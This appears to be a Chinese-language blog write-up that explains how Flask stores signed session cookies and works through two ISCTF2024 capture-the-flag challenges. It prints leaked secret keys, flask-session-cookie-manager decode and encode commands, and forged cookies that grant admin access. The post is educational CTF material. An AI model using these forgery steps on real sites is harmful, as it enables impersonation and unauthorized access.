flask的session伪造

1.sessiond作用

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息

2.flask session的储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

3.flask的session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

4、flask session伪造

上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。

session伪造工具:https://github.com/noraj/flask-session-cookie-manager

ISCTF2024【小蓝鲨的故事】

就是一个简单的session伪造

页面就是一个简单的重定向

然后用dirsearch 扫描发现两个/robots.txt /flag

直接进入/flag 发现是进不去的 /robots.txt 可以发现 有东西 结合提示 发现这就是key

那么 /flag 可以看到cookie 存储的是session

key:SAVPiEkH

cookie:eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZzrK2w.LGOmPBs5fB1pWbP-U5MABqrwxAw

我们利用flask-session-cookie-manager

先将 这段session 解码 发现

python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZzrK2w.LGOmPBs5fB1pWbP-U5MABqrwxAw' -s 'SAVPiEkH'

{'username': b'www-data'}

得到{‘username’: b’www-data’}

但是不知道要怎么伪造成什么 admin root 都试过了当时做题卡在这

最后看wp 发现有一个/Hacker

显示他叫ISctf_Hacker

。。dirsearch 没有这个字典 (。・∀・)ノ゙嗨

我们伪造成ISctf_Hacker 即可

python3 flask_session_cookie_manager3.py encode -s'SAVPiEkH' -t "{'username': b'ISctf_Hacker'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzrMVA.NdDmowaV2YVPWJfUjnsAR6DDrfc

eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzrMVA.NdDmowaV2YVPWJfUjnsAR6DDrfc

将这个传入 /flag 的cookie 得到flag

ISCTF{8534881b-b09d-4811-9da2-40695b41c158}

ISCTF2024【新闻系统】

给了一个登录界面 尝试 admin 弱口令爆破 没成功

然后 就看了下cookie 发现有session 那就直接找key

题目给了一个附件

app.config["SECRET_KEY"] = "W3l1com_isCTF"

直接给了

我们解码看下是个啥

python3 flask_session_cookie_manager3.py decode -c '.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.Zzr02A.cbGkQjMXcWrkDVwMdM77W1k-KBI' -s 'W3l1com_isCTF'       
{'login_error': True, 'password': 'test111', 'status': 'user', 'username': 'test'}

只是个登录报错 还得审计下附件给的源码

@app.route("/create", methods=["POST"])
def create_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
title = request.form.get('title')
content = request.form.get('content')
newslist.create_news(title,content)
return redirect("/admin")

审计代码可以发现我们只要 伪造admin 就会重定向到 /admin 这个路由

python flask_session_cookie_manager3.py encode -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}" -s "W3l1com_isCTF"

.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.Zzv_wA.FVJA55ixFNYaH2_r_-uxCrZqN4U

然后访问这个路由/admin 发现进入后台 然后还得继续审计代码 后面的内容就是 反序列化的内容

放在其他地方讲

总之session 伪造 首先 看cookie 是不是传入的session 其次 需要 给的密钥 然后 根据需求 需要伪造成什么 应该差不多就是这样了